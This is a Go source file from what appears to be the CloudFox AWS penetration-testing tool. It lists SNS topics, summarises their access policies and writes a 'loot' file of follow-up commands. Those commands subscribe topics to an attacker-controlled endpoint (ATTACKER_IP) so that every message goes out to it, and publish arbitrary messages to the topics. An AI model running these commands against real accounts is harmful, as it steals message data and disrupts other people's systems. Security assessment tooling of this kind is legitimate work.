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sns.go
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sns.go
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package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sns/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type SNSModule struct {
// General configuration data
SNSClient SNSClientInterface
AWSRegions []string
AWSProfile string
Caller sts.GetCallerIdentityOutput
StorePolicies bool
OutputFormat string
Goroutines int
WrapTable bool
// Main module data
Topics []SNSTopic
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type SNSClientInterface interface {
ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error)
GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error)
}
type SNSTopic struct {
ARN string
Name string
Region string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *SNSModule) PrintSNS(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "sns"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating SNS topics for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan SNSTopic)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"ARN",
"Public?",
"Resource Policy Summary",
}
sort.SliceStable(m.Topics, func(i, j int) bool {
return m.Topics[i].ARN < m.Topics[j].ARN
})
// Table rows
for i := range m.Topics {
m.output.Body = append(
m.output.Body,
[]string{
m.Topics[i].ARN,
m.Topics[i].IsPublic,
m.Topics[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//m.output.OutputSelector(outputFormat)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s topics found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No topics found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *SNSModule) Receiver(receiver chan SNSTopic, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Topics = append(m.Topics, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
}
lootCommandsFile := filepath.Join(path, "sns-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, topic := range m.Topics {
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
out = out + fmt.Sprintf("# Topic: %s\n", topic.Name)
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
out = out + fmt.Sprintln("# Subscribe to the topic using an attacker controlled HTTP/HTTPS endpoint")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol http --notification-endpoint http://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol https --notification-endpoint https://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# NOTE: You will have to confirm the subscription using the URL sent to your attacker controlled http service")
out = out + fmt.Sprintln("# NOTE: Once you have confirmed the subscription, your attacker controlled IP will received all messages published to the topic.")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Publish messages to an existing topic without an attributes file")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY]\"\n\n", topic.Region, topic.ARN)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Send message to the topic with attributes file (You'll have to create and populate the file)")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", topic.Region, topic.ARN)
}
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
}
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
ListTopics, err := m.listTopics(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, t := range ListTopics {
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
if err != nil {
topic.Name = aws.ToString(t.TopicArn)
}
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
topic.IsPublic = "No"
if !topic.Policy.IsEmpty() {
m.analyseTopicPolicy(topic, dataReceiver)
} else {
// If the topic policy "resource policy" is empty, the only principals that have permisisons
// are those that are granted access by IAM policies
//topic.Access = "Private. Access allowed by IAM policies"
topic.Access = "Only intra-account access (via IAM) allowed"
dataReceiver <- *topic
}
}
}
func (m *SNSModule) listTopics(region string) ([]types.Topic, error) {
var PaginationControl *string
var topics []types.Topic
for {
ListTopics, err := m.SNSClient.ListTopics(
context.TODO(),
&sns.ListTopicsInput{
NextToken: PaginationControl,
},
func(o *sns.Options) {
o.Region = region
},
)
if err != nil {
return nil, err
}
for _, t := range ListTopics.Topics {
topics = append(topics, t)
}
// The "NextToken" value is nil when there's no more data to return.
if ListTopics.NextToken != nil {
PaginationControl = ListTopics.NextToken
} else {
PaginationControl = nil
break
}
}
return topics, nil
}
func (m *SNSModule) getTopicWithAttributes(topicARN string, region string) (*SNSTopic, error) {
topic := &SNSTopic{
ARN: topicARN,
}
GetTopicAttributes, err := m.SNSClient.GetTopicAttributes(
context.TODO(),
&sns.GetTopicAttributesInput{
TopicArn: aws.String(topicARN),
},
func(o *sns.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("GetTopicAttributes(%s) failed: %s", topicARN, err)
}
if policyJSON, ok := GetTopicAttributes.Attributes["Policy"]; ok {
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return nil, fmt.Errorf("parsing topic access policy (%s) as JSON: %s", topicARN, err)
}
topic.PolicyJSON = policyJSON
topic.Policy = policy
}
return topic, nil
}
func (m *SNSModule) analyseTopicPolicy(topic *SNSTopic, dataReceiver chan SNSTopic) {
m.storeAccessPolicy(topic)
if topic.Policy.IsPublic() && !topic.Policy.IsConditionallyPublic() {
topic.IsPublic = "YES"
}
for i, statement := range topic.Policy.Statement {
var prefix string = ""
if len(topic.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
topic.ResourcePolicySummary = topic.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
topic.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
topic.ResourcePolicySummary = strings.TrimSuffix(topic.ResourcePolicySummary, "\n")
}
dataReceiver <- *topic
}
func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getTopicName(topic.ARN)))
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *SNSModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "sns-policies")
}
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
func (m *SNSModule) getTopicName(topicARN string) string {
tokens := strings.SplitN(topicARN, ":", 6)
if len(tokens) != 6 {
return ""
}
return tokens[5]
}
func (m *SNSModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}